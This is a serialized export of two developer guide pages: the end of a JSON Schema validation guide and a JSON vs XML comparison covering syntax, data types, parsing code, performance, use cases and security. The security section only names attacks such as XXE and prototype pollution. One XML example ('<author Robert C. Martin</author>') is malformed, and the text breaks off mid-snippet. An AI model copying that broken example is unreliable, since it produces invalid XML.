names",[199,281114,281115,281119,281121],{},[216,281116,281117],{},[143,281118,279093],{},[216,281120,281098],{},[216,281122,281123],{},"Property schemas",[199,281125,281126,281131,281133],{},[216,281127,281128],{},[143,281129,281130],{},"additionalProperties",[216,281132,281098],{},[216,281134,281135],{},"Control extra properties",[199,281137,281138,281142,281144],{},[216,281139,281140],{},[143,281141,164210],{},[216,281143,281082],{},[216,281145,281146],{},"Schema for array items",[11,281148,35318],{"id":35317},[77,281150,281151,281158,281166,281176,281185,281191,281199],{},[44,281152,281153,281157],{},[47,281154,47528,281155],{},[143,281156,278762],{}," to ensure consistent behavior across implementations",[44,281159,281160,281165],{},[47,281161,1388,281162],{},[143,281163,281164],{},"additionalProperties: false"," for strict object validation",[44,281167,281168,281175],{},[47,281169,281170,281171,1856,281173],{},"Provide meaningful ",[143,281172,108868],{},[143,281174,183616],{}," for documentation",[44,281177,281178,281184],{},[47,281179,1388,281180,281183],{},[143,281181,281182],{},"allErrors: true"," in Ajv"," during development to see all validation errors",[44,281186,281187,281190],{},[47,281188,281189],{},"Test your schemas"," with both valid and invalid data",[44,281192,281193,281198],{},[47,281194,1388,281195,281197],{},[143,281196,280169],{}," for reusable components"," to avoid duplication",[44,281200,281201,281205],{},[47,281202,259230,281203,49304],{},[143,281204,273779],{}," to document expected data formats",[11,281207,257800],{"id":257799},[41,281209,281210],{},[44,281211,281212,281214],{},[98,281213,37777],{"href":37776}," — Format and pretty-print JSON",[2043,281216,281217],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":281219},[281220,281221,281222,281226,281229,281233,281237,281238,281242,281243,281248,281249,281250],{"id":278608,"depth":337,"text":278609},{"id":278635,"depth":337,"text":278636},{"id":278784,"depth":337,"text":278785,"children":281223},[281224,281225],{"id":278876,"depth":343,"text":278877},{"id":278998,"depth":343,"text":278999},{"id":279087,"depth":337,"text":279088,"children":281227},[281228],{"id":279288,"depth":343,"text":279289},{"id":279418,"depth":337,"text":279419,"children":281230},[281231,281232],{"id":279422,"depth":343,"text":279423},{"id":279643,"depth":343,"text":279644},{"id":279847,"depth":337,"text":279848,"children":281234},[281235,281236],{"id":279851,"depth":343,"text":279852},{"id":279932,"depth":343,"text":279933},{"id":279983,"depth":337,"text":279984},{"id":280163,"depth":337,"text":280164,"children":281239},[281240,281241],{"id":280173,"depth":343,"text":280174},{"id":280313,"depth":343,"text":280314},{"id":280370,"depth":337,"text":280371},{"id":280702,"depth":337,"text":280703,"children":281244},[281245,281246,281247],{"id":280714,"depth":343,"text":280715},{"id":244538,"depth":343,"text":244539},{"id":280968,"depth":343,"text":280969},{"id":280977,"depth":337,"text":280978},{"id":35317,"depth":337,"text":35318},{"id":257799,"depth":337,"text":257800},"Master JSON Schema validation with practical examples. Learn type, properties, required, pattern, $ref and how to use Ajv for robust JSON validation.",{"immutable":363},{"title":278603,"description":281251},"guides\u002Fjson-schema-validation","qIouMVDpZwIPX06keJxzVrkQXchFV24RBIBckXcvfOE",{"id":281257,"title":281258,"body":281259,"date":257855,"description":282780,"extension":361,"meta":282781,"navigation":363,"path":229892,"readingTime":2534,"seo":282782,"stem":282783,"__hash__":282784},"guides\u002Fguides\u002Fjson-vs-xml.md","JSON vs XML — Complete Comparison Guide",{"type":8,"value":281260,"toc":282742},[281261,281263,281266,281269,281271,281274,281276,281384,281388,281467,281471,281551,281553,281558,281572,281577,281588,281590,281594,281597,281668,281672,281675,281690,281693,281697,281701,281704,281760,281763,281782,281786,281789,281867,281887,281889,281941,281945,281948,281981,281985,282078,282082,282085,282118,282122,282149,282151,282154,282157,282247,282251,282254,282302,282304,282308,282334,282338,282357,282376,282379,282381,282384,282389,282546,282551,282612,282616,282700,282704,282711,282716,282730,282732,282739],[11,281262,2776],{"id":256641},[16,281264,281265],{},"When building APIs, configuration files, or data exchange systems, developers often face the choice between JSON (JavaScript Object Notation) and XML (Extensible Markup Language). Both formats have been around for decades and each has its strengths.",[16,281267,281268],{},"This guide breaks down the differences between JSON and XML to help you make an informed decision for your next project.",[11,281270,137330],{"id":137329},[16,281272,281273],{},"The most obvious difference is how data is structured and represented.",[33,281275,137451],{"id":137450},[135,281277,281279],{"className":23484,"code":281278,"language":23486,"meta":141,"style":141},"{\n  \"user\": {\n    \"id\": 12345,\n    \"name\": \"Jane Smith\",\n    \"email\": \"jane@example.com\",\n    \"active\": true,\n    \"roles\": [\"admin\", \"editor\"],\n    \"address\": {\n      \"city\": \"New York\",\n      \"zip\": \"10001\"\n    }\n  }\n}\n",[143,281280,281281,281285,281291,281301,281312,281323,281334,281348,281354,281364,281372,281376,281380],{"__ignoreMap":141},[1560,281282,281283],{"class":1562,"line":1563},[1560,281284,23493],{"class":1570},[1560,281286,281287,281289],{"class":1562,"line":337},[1560,281288,85709],{"class":1576},[1560,281290,37098],{"class":1570},[1560,281292,281293,281295,281297,281299],{"class":1562,"line":343},[1560,281294,82630],{"class":1576},[1560,281296,1663],{"class":1570},[1560,281298,176484],{"class":1576},[1560,281300,11943],{"class":1570},[1560,281302,281303,281305,281307,281310],{"class":1562,"line":365},[1560,281304,37103],{"class":1576},[1560,281306,1663],{"class":1570},[1560,281308,281309],{"class":5634},"\"Jane Smith\"",[1560,281311,11943],{"class":1570},[1560,281313,281314,281316,281318,281321],{"class":1562,"line":889},[1560,281315,81333],{"class":1576},[1560,281317,1663],{"class":1570},[1560,281319,281320],{"class":5634},"\"jane@example.com\"",[1560,281322,11943],{"class":1570},[1560,281324,281325,281328,281330,281332],{"class":1562,"line":1710},[1560,281326,281327],{"class":1576},"    \"active\"",[1560,281329,1663],{"class":1570},[1560,281331,20533],{"class":1576},[1560,281333,11943],{"class":1570},[1560,281335,281336,281338,281340,281342,281344,281346],{"class":1562,"line":1717},[1560,281337,85736],{"class":1576},[1560,281339,37187],{"class":1570},[1560,281341,81849],{"class":5634},[1560,281343,1459],{"class":1570},[1560,281345,85664],{"class":5634},[1560,281347,12044],{"class":1570},[1560,281349,281350,281352],{"class":1562,"line":1747},[1560,281351,82651],{"class":1576},[1560,281353,37098],{"class":1570},[1560,281355,281356,281358,281360,281362],{"class":1562,"line":2507},[1560,281357,82669],{"class":1576},[1560,281359,1663],{"class":1570},[1560,281361,80899],{"class":5634},[1560,281363,11943],{"class":1570},[1560,281365,281366,281368,281370],{"class":1562,"line":2524},[1560,281367,82681],{"class":1576},[1560,281369,1663],{"class":1570},[1560,281371,80911],{"class":5634},[1560,281373,281374],{"class":1562,"line":2529},[1560,281375,11612],{"class":1570},[1560,281377,281378],{"class":1562,"line":2534},[1560,281379,4959],{"class":1570},[1560,281381,281382],{"class":1562,"line":2542},[1560,281383,1585],{"class":1570},[33,281385,281387],{"id":281386},"xml-example","XML Example",[135,281389,281391],{"className":84954,"code":281390,"language":84956,"meta":141,"style":141},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003Cuser>\n  \u003Cid>12345\u003C\u002Fid>\n  \u003Cname>Jane Smith\u003C\u002Fname>\n  \u003Cemail>jane@example.com\u003C\u002Femail>\n  \u003Cactive>true\u003C\u002Factive>\n  \u003Croles>\n    \u003Crole>admin\u003C\u002Frole>\n    \u003Crole>editor\u003C\u002Frole>\n  \u003C\u002Froles>\n  \u003Caddress>\n    \u003Ccity>New York\u003C\u002Fcity>\n    \u003Czip>10001\u003C\u002Fzip>\n  \u003C\u002Faddress>\n\u003C\u002Fuser>\n",[143,281392,281393,281397,281402,281407,281412,281417,281422,281427,281432,281437,281442,281447,281452,281457,281462],{"__ignoreMap":141},[1560,281394,281395],{"class":1562,"line":1563},[1560,281396,229264],{},[1560,281398,281399],{"class":1562,"line":337},[1560,281400,281401],{},"\u003Cuser>\n",[1560,281403,281404],{"class":1562,"line":343},[1560,281405,281406],{},"  \u003Cid>12345\u003C\u002Fid>\n",[1560,281408,281409],{"class":1562,"line":365},[1560,281410,281411],{},"  \u003Cname>Jane Smith\u003C\u002Fname>\n",[1560,281413,281414],{"class":1562,"line":889},[1560,281415,281416],{},"  \u003Cemail>jane@example.com\u003C\u002Femail>\n",[1560,281418,281419],{"class":1562,"line":1710},[1560,281420,281421],{},"  \u003Cactive>true\u003C\u002Factive>\n",[1560,281423,281424],{"class":1562,"line":1717},[1560,281425,281426],{},"  \u003Croles>\n",[1560,281428,281429],{"class":1562,"line":1747},[1560,281430,281431],{},"    \u003Crole>admin\u003C\u002Frole>\n",[1560,281433,281434],{"class":1562,"line":2507},[1560,281435,281436],{},"    \u003Crole>editor\u003C\u002Frole>\n",[1560,281438,281439],{"class":1562,"line":2524},[1560,281440,281441],{},"  \u003C\u002Froles>\n",[1560,281443,281444],{"class":1562,"line":2529},[1560,281445,281446],{},"  \u003Caddress>\n",[1560,281448,281449],{"class":1562,"line":2534},[1560,281450,281451],{},"    \u003Ccity>New York\u003C\u002Fcity>\n",[1560,281453,281454],{"class":1562,"line":2542},[1560,281455,281456],{},"    \u003Czip>10001\u003C\u002Fzip>\n",[1560,281458,281459],{"class":1562,"line":2558},[1560,281460,281461],{},"  \u003C\u002Faddress>\n",[1560,281463,281464],{"class":1562,"line":2570},[1560,281465,281466],{},"\u003C\u002Fuser>\n",[33,281468,281470],{"id":281469},"key-syntax-differences","Key Syntax Differences",[193,281472,281473,281483],{},[196,281474,281475],{},[199,281476,281477,281479,281481],{},[202,281478,5867],{},[202,281480,13411],{},[202,281482,84593],{},[211,281484,281485,281496,281507,281517,281530,281540],{},[199,281486,281487,281490,281493],{},[216,281488,281489],{},"Data representation",[216,281491,281492],{},"Key-value pairs, arrays",[216,281494,281495],{},"Nested elements and attributes",[199,281497,281498,281501,281504],{},[216,281499,281500],{},"Quotes",[216,281502,281503],{},"Double quotes required",[216,281505,281506],{},"Single or double quotes",[199,281508,281509,281511,281513],{},[216,281510,36954],{},[216,281512,84686],{},[216,281514,229366,281515,1525],{},[143,281516,229369],{},[199,281518,281519,281522,281524],{},[216,281520,281521],{},"Closing tags",[216,281523,229399],{},[216,281525,281526,281527,1525],{},"Required (",[143,281528,281529],{},"\u003C\u002Ftag>",[199,281531,281532,281534,281536],{},[216,281533,229374],{},[216,281535,84686],{},[216,281537,229366,281538,1525],{},[143,281539,229381],{},[199,281541,281542,281545,281547],{},[216,281543,281544],{},"Self-closing",[216,281546,229399],{},[216,281548,229366,281549,1525],{},[143,281550,229404],{},[11,281552,61633],{"id":5926},[16,281554,281555,281557],{},[47,281556,13411],{}," is generally more readable for developers because:",[41,281559,281560,281563,281566,281569],{},[44,281561,281562],{},"It is compact and less verbose",[44,281564,281565],{},"The structure mirrors JavaScript object literals",[44,281567,281568],{},"No closing tags to track",[44,281570,281571],{},"Arrays are natively represented",[16,281573,281574,281576],{},[47,281575,84593],{}," can be more readable for deeply nested hierarchical data because:",[41,281578,281579,281582,281585],{},[44,281580,281581],{},"Opening and closing tags make structure explicit",[44,281583,281584],{},"Attributes allow mixing metadata with content",[44,281586,281587],{},"Namespaces help avoid element name conflicts",[11,281589,232862],{"id":232861},[33,281591,281593],{"id":281592},"json-data-types","JSON Data Types",[16,281595,281596],{},"JSON supports a limited set of native data types:",[193,281598,281599,281607],{},[196,281600,281601],{},[199,281602,281603,281605],{},[202,281604,34969],{},[202,281606,133],{},[211,281608,281609,281617,281630,281640,281648,281658],{},[199,281610,281611,281613],{},[216,281612,157068],{},[216,281614,281615],{},[143,281616,206048],{},[199,281618,281619,281622],{},[216,281620,281621],{},"Number",[216,281623,281624,1459,281626,1459,281628],{},[143,281625,14520],{},[143,281627,232926],{},[143,281629,19059],{},[199,281631,281632,281634],{},[216,281633,232935],{},[216,281635,281636,1459,281638],{},[143,281637,20533],{},[143,281639,13730],{},[199,281641,281642,281644],{},[216,281643,232952],{},[216,281645,281646],{},[143,281647,80702],{},[199,281649,281650,281653],{},[216,281651,281652],{},"Array",[216,281654,281655],{},[143,281656,281657],{},"[1, 2, 3]",[199,281659,281660,281663],{},[216,281661,281662],{},"Object",[216,281664,281665],{},[143,281666,281667],{},"{\"key\": \"value\"}",[33,281669,281671],{"id":281670},"xml-data-types","XML Data Types",[16,281673,281674],{},"XML has no native data types. Everything is a string:",[135,281676,281678],{"className":84954,"code":281677,"language":84956,"meta":141,"style":141},"\u003Cage>30\u003C\u002Fage>       \u003C!-- Stored as string \"30\" -->\n\u003Cprice>29.99\u003C\u002Fprice> \u003C!-- Stored as string \"29.99\" -->\n",[143,281679,281680,281685],{"__ignoreMap":141},[1560,281681,281682],{"class":1562,"line":1563},[1560,281683,281684],{},"\u003Cage>30\u003C\u002Fage>       \u003C!-- Stored as string \"30\" -->\n",[1560,281686,281687],{"class":1562,"line":337},[1560,281688,281689],{},"\u003Cprice>29.99\u003C\u002Fprice> \u003C!-- Stored as string \"29.99\" -->\n",[16,281691,281692],{},"The consuming application must parse and convert values to appropriate types.",[11,281694,281696],{"id":281695},"parsing-and-performance","Parsing and Performance",[33,281698,281700],{"id":281699},"json-parsing","JSON Parsing",[16,281702,281703],{},"In JavaScript, JSON is parsed natively:",[135,281705,281707],{"className":1607,"code":281706,"language":1609,"meta":141,"style":141},"const jsonString = '{\"name\": \"John\", \"age\": 30}';\nconst data = JSON.parse(jsonString);  \u002F\u002F Native, fast\nconst backToJson = JSON.stringify(data);\n",[143,281708,281709,281723,281743],{"__ignoreMap":141},[1560,281710,281711,281713,281716,281718,281721],{"class":1562,"line":1563},[1560,281712,8180],{"class":1669},[1560,281714,281715],{"class":1576}," jsonString",[1560,281717,8186],{"class":1669},[1560,281719,281720],{"class":5634}," '{\"name\": \"John\", \"age\": 30}'",[1560,281722,2228],{"class":1570},[1560,281724,281725,281727,281729,281731,281733,281735,281737,281740],{"class":1562,"line":337},[1560,281726,8180],{"class":1669},[1560,281728,229483],{"class":1576},[1560,281730,8186],{"class":1669},[1560,281732,89946],{"class":1576},[1560,281734,468],{"class":1570},[1560,281736,80838],{"class":1566},[1560,281738,281739],{"class":1570},"(jsonString);  ",[1560,281741,281742],{"class":1649},"\u002F\u002F Native, fast\n",[1560,281744,281745,281747,281750,281752,281754,281756,281758],{"class":1562,"line":343},[1560,281746,8180],{"class":1669},[1560,281748,281749],{"class":1576}," backToJson",[1560,281751,8186],{"class":1669},[1560,281753,89946],{"class":1576},[1560,281755,468],{"class":1570},[1560,281757,82298],{"class":1566},[1560,281759,136066],{"class":1570},[16,281761,281762],{},"In Python:",[135,281764,281766],{"className":8259,"code":281765,"language":8261,"meta":141,"style":141},"import json\ndata = json.loads('{\"name\": \"John\", \"age\": 30}')\njson_string = json.dumps(data)\n",[143,281767,281768,281772,281777],{"__ignoreMap":141},[1560,281769,281770],{"class":1562,"line":1563},[1560,281771,154619],{},[1560,281773,281774],{"class":1562,"line":337},[1560,281775,281776],{},"data = json.loads('{\"name\": \"John\", \"age\": 30}')\n",[1560,281778,281779],{"class":1562,"line":343},[1560,281780,281781],{},"json_string = json.dumps(data)\n",[33,281783,281785],{"id":281784},"xml-parsing","XML Parsing",[16,281787,281788],{},"XML requires a parser:",[135,281790,281792],{"className":1607,"code":281791,"language":1609,"meta":141,"style":141},"const xmlString = '\u003Cuser>\u003Cname>John\u003C\u002Fname>\u003C\u002Fuser>';\nconst parser = new DOMParser();\nconst xmlDoc = parser.parseFromString(xmlString, 'text\u002Fxml');\nconst name = xmlDoc.getElementsByTagName('name')[0].textContent;\n",[143,281793,281794,281808,281822,281842],{"__ignoreMap":141},[1560,281795,281796,281798,281801,281803,281806],{"class":1562,"line":1563},[1560,281797,8180],{"class":1669},[1560,281799,281800],{"class":1576}," xmlString",[1560,281802,8186],{"class":1669},[1560,281804,281805],{"class":5634}," '\u003Cuser>\u003Cname>John\u003C\u002Fname>\u003C\u002Fuser>'",[1560,281807,2228],{"class":1570},[1560,281809,281810,281812,281814,281816,281818,281820],{"class":1562,"line":337},[1560,281811,8180],{"class":1669},[1560,281813,228898],{"class":1576},[1560,281815,8186],{"class":1669},[1560,281817,11489],{"class":1669},[1560,281819,228905],{"class":1566},[1560,281821,90158],{"class":1570},[1560,281823,281824,281826,281829,281831,281833,281835,281837,281840],{"class":1562,"line":343},[1560,281825,8180],{"class":1669},[1560,281827,281828],{"class":1576}," xmlDoc",[1560,281830,8186],{"class":1669},[1560,281832,228919],{"class":1570},[1560,281834,228922],{"class":1566},[1560,281836,228925],{"class":1570},[1560,281838,281839],{"class":5634},"'text\u002Fxml'",[1560,281841,1744],{"class":1570},[1560,281843,281844,281846,281848,281850,281853,281856,281858,281860,281862,281864],{"class":1562,"line":365},[1560,281845,8180],{"class":1669},[1560,281847,108846],{"class":1576},[1560,281849,8186],{"class":1669},[1560,281851,281852],{"class":1570}," xmlDoc.",[1560,281854,281855],{"class":1566},"getElementsByTagName",[1560,281857,1688],{"class":1570},[1560,281859,277300],{"class":5634},[1560,281861,217341],{"class":1570},[1560,281863,5285],{"class":1576},[1560,281865,281866],{"class":1570},"].textContent;\n",[135,281868,281870],{"className":8259,"code":281869,"language":8261,"meta":141,"style":141},"import xml.etree.ElementTree as ET\ntree = ET.fromstring('\u003Cuser>\u003Cname>John\u003C\u002Fname>\u003C\u002Fuser>')\nname = tree.find('name').text\n",[143,281871,281872,281877,281882],{"__ignoreMap":141},[1560,281873,281874],{"class":1562,"line":1563},[1560,281875,281876],{},"import xml.etree.ElementTree as ET\n",[1560,281878,281879],{"class":1562,"line":337},[1560,281880,281881],{},"tree = ET.fromstring('\u003Cuser>\u003Cname>John\u003C\u002Fname>\u003C\u002Fuser>')\n",[1560,281883,281884],{"class":1562,"line":343},[1560,281885,281886],{},"name = tree.find('name').text\n",[33,281888,26165],{"id":26164},[193,281890,281891,281901],{},[196,281892,281893],{},[199,281894,281895,281897,281899],{},[202,281896,15609],{},[202,281898,13411],{},[202,281900,84593],{},[211,281902,281903,281913,281924,281932],{},[199,281904,281905,281907,281910],{},[216,281906,84633],{},[216,281908,281909],{},"Smaller (20–50% less)",[216,281911,281912],{},"Larger (verbose tags)",[199,281914,281915,281918,281921],{},[216,281916,281917],{},"Parse speed",[216,281919,281920],{},"Faster (native in browsers)",[216,281922,281923],{},"Slower (requires parser)",[199,281925,281926,281928,281930],{},[216,281927,85211],{},[216,281929,23719],{},[216,281931,229651],{},[199,281933,281934,281936,281938],{},[216,281935,124098],{},[216,281937,84702],{},[216,281939,281940],{},"Good (SAX parsing)",[11,281942,281944],{"id":281943},"use-cases-when-to-choose-json","Use Cases: When to Choose JSON",[16,281946,281947],{},"JSON is the better choice for:",[77,281949,281950,281955,281961,281970,281976],{},[44,281951,281952,281954],{},[47,281953,137674],{}," — Most modern web APIs use JSON because it is lightweight and JavaScript-native.",[44,281956,281957,281960],{},[47,281958,281959],{},"Single Page Applications (SPAs)"," — Seamless integration with frontend frameworks.",[44,281962,281963,23567,281965,1459,281967,281969],{},[47,281964,99483],{},[143,281966,37590],{},[143,281968,37645],{},", and many others use JSON.",[44,281971,281972,281975],{},[47,281973,281974],{},"NoSQL databases"," — MongoDB, CouchDB, and others store data in JSON-like formats.",[44,281977,281978,281980],{},[47,281979,217280],{}," — Reduced payload size matters for bandwidth-constrained devices.",[33,281982,281984],{"id":281983},"example-rest-api-response","Example: REST API Response",[135,281986,281988],{"className":23484,"code":281987,"language":23486,"meta":141,"style":141},"{\n  \"status\": \"success\",\n  \"data\": {\n    \"users\": [\n      {\"id\": 1, \"name\": \"Alice\"},\n      {\"id\": 2, \"name\": \"Bob\"}\n    ],\n    \"total\": 2\n  }\n}\n",[143,281989,281990,281994,282006,282012,282018,282038,282058,282062,282070,282074],{"__ignoreMap":141},[1560,281991,281992],{"class":1562,"line":1563},[1560,281993,23493],{"class":1570},[1560,281995,281996,281999,282001,282004],{"class":1562,"line":337},[1560,281997,281998],{"class":1576},"  \"status\"",[1560,282000,1663],{"class":1570},[1560,282002,282003],{"class":5634},"\"success\"",[1560,282005,11943],{"class":1570},[1560,282007,282008,282010],{"class":1562,"line":343},[1560,282009,260704],{"class":1576},[1560,282011,37098],{"class":1570},[1560,282013,282014,282016],{"class":1562,"line":365},[1560,282015,278082],{"class":1576},[1560,282017,82876],{"class":1570},[1560,282019,282020,282022,282024,282026,282028,282030,282032,282034,282036],{"class":1562,"line":889},[1560,282021,277060],{"class":1570},[1560,282023,85637],{"class":1576},[1560,282025,1663],{"class":1570},[1560,282027,3585],{"class":1576},[1560,282029,1459],{"class":1570},[1560,282031,84838],{"class":1576},[1560,282033,1663],{"class":1570},[1560,282035,23503],{"class":5634},[1560,282037,277079],{"class":1570},[1560,282039,282040,282042,282044,282046,282048,282050,282052,282054,282056],{"class":1562,"line":1710},[1560,282041,277060],{"class":1570},[1560,282043,85637],{"class":1576},[1560,282045,1663],{"class":1570},[1560,282047,10099],{"class":1576},[1560,282049,1459],{"class":1570},[1560,282051,84838],{"class":1576},[1560,282053,1663],{"class":1570},[1560,282055,80653],{"class":5634},[1560,282057,1585],{"class":1570},[1560,282059,282060],{"class":1562,"line":1717},[1560,282061,20737],{"class":1570},[1560,282063,282064,282066,282068],{"class":1562,"line":1747},[1560,282065,278203],{"class":1576},[1560,282067,1663],{"class":1570},[1560,282069,119280],{"class":1576},[1560,282071,282072],{"class":1562,"line":2507},[1560,282073,4959],{"class":1570},[1560,282075,282076],{"class":1562,"line":2524},[1560,282077,1585],{"class":1570},[11,282079,282081],{"id":282080},"use-cases-when-to-choose-xml","Use Cases: When to Choose XML",[16,282083,282084],{},"XML is still the preferred choice for:",[77,282086,282087,282093,282101,282107,282113],{},[44,282088,282089,282092],{},[47,282090,282091],{},"SOAP Web Services"," — Enterprise environments often require XML-based SOAP.",[44,282094,282095,282097,282098,282100],{},[47,282096,229531],{}," — Office Open XML (",[143,282099,229535],{},"), SVG, and XHTML are XML-based.",[44,282102,282103,282106],{},[47,282104,282105],{},"Configuration with metadata"," — Attributes make it easy to add metadata to elements.",[44,282108,282109,282112],{},[47,282110,282111],{},"Complex validation"," — XML Schema (XSD) provides stronger validation than JSON Schema.",[44,282114,282115,282117],{},[47,282116,229555],{}," — When elements contain both text and child elements.",[33,282119,282121],{"id":282120},"example-xml-with-attributes","Example: XML with Attributes",[135,282123,282125],{"className":84954,"code":282124,"language":84956,"meta":141,"style":141},"\u003Cbook isbn=\"978-3-16-148410-0\">\n  \u003Ctitle>Clean Code\u003C\u002Ftitle>\n  \u003Cauthor Robert C. Martin\u003C\u002Fauthor>\n  \u003Cprice currency=\"USD\">35.99\u003C\u002Fprice>\n\u003C\u002Fbook>\n",[143,282126,282127,282132,282136,282141,282145],{"__ignoreMap":141},[1560,282128,282129],{"class":1562,"line":1563},[1560,282130,282131],{},"\u003Cbook isbn=\"978-3-16-148410-0\">\n",[1560,282133,282134],{"class":1562,"line":337},[1560,282135,229274],{},[1560,282137,282138],{"class":1562,"line":343},[1560,282139,282140],{},"  \u003Cauthor Robert C. Martin\u003C\u002Fauthor>\n",[1560,282142,282143],{"class":1562,"line":365},[1560,282144,229284],{},[1560,282146,282147],{"class":1562,"line":889},[1560,282148,227599],{},[11,282150,229668],{"id":229667},[33,282152,84670],{"id":282153},"json-schema",[16,282155,282156],{},"JSON Schema is a vocabulary for validating JSON documents:",[135,282158,282160],{"className":23484,"code":282159,"language":23486,"meta":141,"style":141},"{\n  \"$schema\": \"https:\u002F\u002Fjson-schema.org\u002Fdraft\u002F2020-12\u002Fschema\",\n  \"type\": \"object\",\n  \"properties\": {\n    \"name\": { \"type\": \"string\" },\n    \"age\": { \"type\": \"integer\", \"minimum\": 0 }\n  },\n  \"required\": [\"name\"]\n}\n",[143,282161,282162,282166,282176,282186,282192,282206,282229,282233,282243],{"__ignoreMap":141},[1560,282163,282164],{"class":1562,"line":1563},[1560,282165,23493],{"class":1570},[1560,282167,282168,282170,282172,282174],{"class":1562,"line":337},[1560,282169,278653],{"class":1576},[1560,282171,1663],{"class":1570},[1560,282173,278658],{"class":5634},[1560,282175,11943],{"class":1570},[1560,282177,282178,282180,282182,282184],{"class":1562,"line":343},[1560,282179,278699],{"class":1576},[1560,282181,1663],{"class":1570},[1560,282183,278704],{"class":5634},[1560,282185,11943],{"class":1570},[1560,282187,282188,282190],{"class":1562,"line":365},[1560,282189,278711],{"class":1576},[1560,282191,37098],{"class":1570},[1560,282193,282194,282196,282198,282200,282202,282204],{"class":1562,"line":889},[1560,282195,37103],{"class":1576},[1560,282197,199586],{"class":1570},[1560,282199,153484],{"class":1576},[1560,282201,1663],{"class":1570},[1560,282203,278726],{"class":5634},[1560,282205,21223],{"class":1570},[1560,282207,282208,282210,282212,282214,282216,282218,282220,282223,282225,282227],{"class":1562,"line":1710},[1560,282209,80620],{"class":1576},[1560,282211,199586],{"class":1570},[1560,282213,153484],{"class":1576},[1560,282215,1663],{"class":1570},[1560,282217,278826],{"class":5634},[1560,282219,1459],{"class":1570},[1560,282221,282222],{"class":1576},"\"minimum\"",[1560,282224,1663],{"class":1570},[1560,282226,5285],{"class":1576},[1560,282228,27879],{"class":1570},[1560,282230,282231],{"class":1562,"line":1717},[1560,282232,11862],{"class":1570},[1560,282234,282235,282237,282239,282241],{"class":1562,"line":1747},[1560,282236,279245],{"class":1576},[1560,282238,37187],{"class":1570},[1560,282240,84838],{"class":5634},[1560,282242,37203],{"class":1570},[1560,282244,282245],{"class":1562,"line":2507},[1560,282246,1585],{"class":1570},[33,282248,282250],{"id":282249},"xml-schema-xsd","XML Schema (XSD)",[16,282252,282253],{},"XSD is more mature and feature-rich:",[135,282255,282257],{"className":84954,"code":282256,"language":84956,"meta":141,"style":141},"\u003Cxs:schema xmlns:xs=\"http:\u002F\u002Fwww.w3.org\u002F2001\u002FXMLSchema\">\n  \u003Cxs:element name=\"user\">\n    \u003Cxs:complexType>\n      \u003Cxs:sequence>\n        \u003Cxs:element name=\"name\" type=\"xs:string\"\u002F>\n        \u003Cxs:element name=\"age\" type=\"xs:integer\"\u002F>\n      \u003C\u002Fxs:sequence>\n    \u003C\u002Fxs:complexType>\n  \u003C\u002Fxs:element>\n\u003C\u002Fxs:schema>\n",[143,282258,282259,282263,282268,282272,282276,282281,282286,282290,282294,282298],{"__ignoreMap":141},[1560,282260,282261],{"class":1562,"line":1563},[1560,282262,228242],{},[1560,282264,282265],{"class":1562,"line":337},[1560,282266,282267],{},"  \u003Cxs:element name=\"user\">\n",[1560,282269,282270],{"class":1562,"line":343},[1560,282271,228256],{},[1560,282273,282274],{"class":1562,"line":365},[1560,282275,228261],{},[1560,282277,282278],{"class":1562,"line":889},[1560,282279,282280],{},"        \u003Cxs:element name=\"name\" type=\"xs:string\"\u002F>\n",[1560,282282,282283],{"class":1562,"line":1710},[1560,282284,282285],{},"        \u003Cxs:element name=\"age\" type=\"xs:integer\"\u002F>\n",[1560,282287,282288],{"class":1562,"line":1717},[1560,282289,228316],{},[1560,282291,282292],{"class":1562,"line":1747},[1560,282293,228321],{},[1560,282295,282296],{"class":1562,"line":2507},[1560,282297,228326],{},[1560,282299,282300],{"class":1562,"line":2524},[1560,282301,228335],{},[11,282303,102598],{"id":102597},[33,282305,282307],{"id":282306},"json-security","JSON Security",[41,282309,282310,282316,282326],{},[44,282311,282312,282315],{},[47,282313,282314],{},"JSON Hijacking",": Older browsers were vulnerable to JSON array responses being executable. Modern browsers have mitigated this.",[44,282317,282318,282321,282322,282325],{},[47,282319,282320],{},"Prototype Pollution",": Parsing untrusted JSON can pollute ",[143,282323,282324],{},"Object.prototype"," if not careful.",[44,282327,282328,282330,282331,282333],{},[47,282329,35224],{},": Always use ",[143,282332,137683],{}," from a trusted source and validate the schema.",[33,282335,282337],{"id":282336},"xml-security","XML Security",[41,282339,282340,282346,282352],{},[44,282341,282342,282345],{},[47,282343,282344],{},"XML External Entity (XXE)",": Attackers can inject external entities to read local files or cause DoS.",[44,282347,282348,282351],{},[47,282349,282350],{},"Billion Laughs Attack",": Recursive entity expansion causes exponential memory consumption.",[44,282353,282354,282356],{},[47,282355,35224],{},": Disable external entity resolution in your XML parser.",[135,282358,282360],{"className":8259,"code":282359,"language":8261,"meta":141,"style":141},"# Safe XML parsing in Python\nfrom lxml import etree\nparser = etree.XMLParser(resolve_entities=False, no_network=True)\n",[143,282361,282362,282367,282371],{"__ignoreMap":141},[1560,282363,282364],{"class":1562,"line":1563},[1560,282365,282366],{},"# Safe XML parsing in 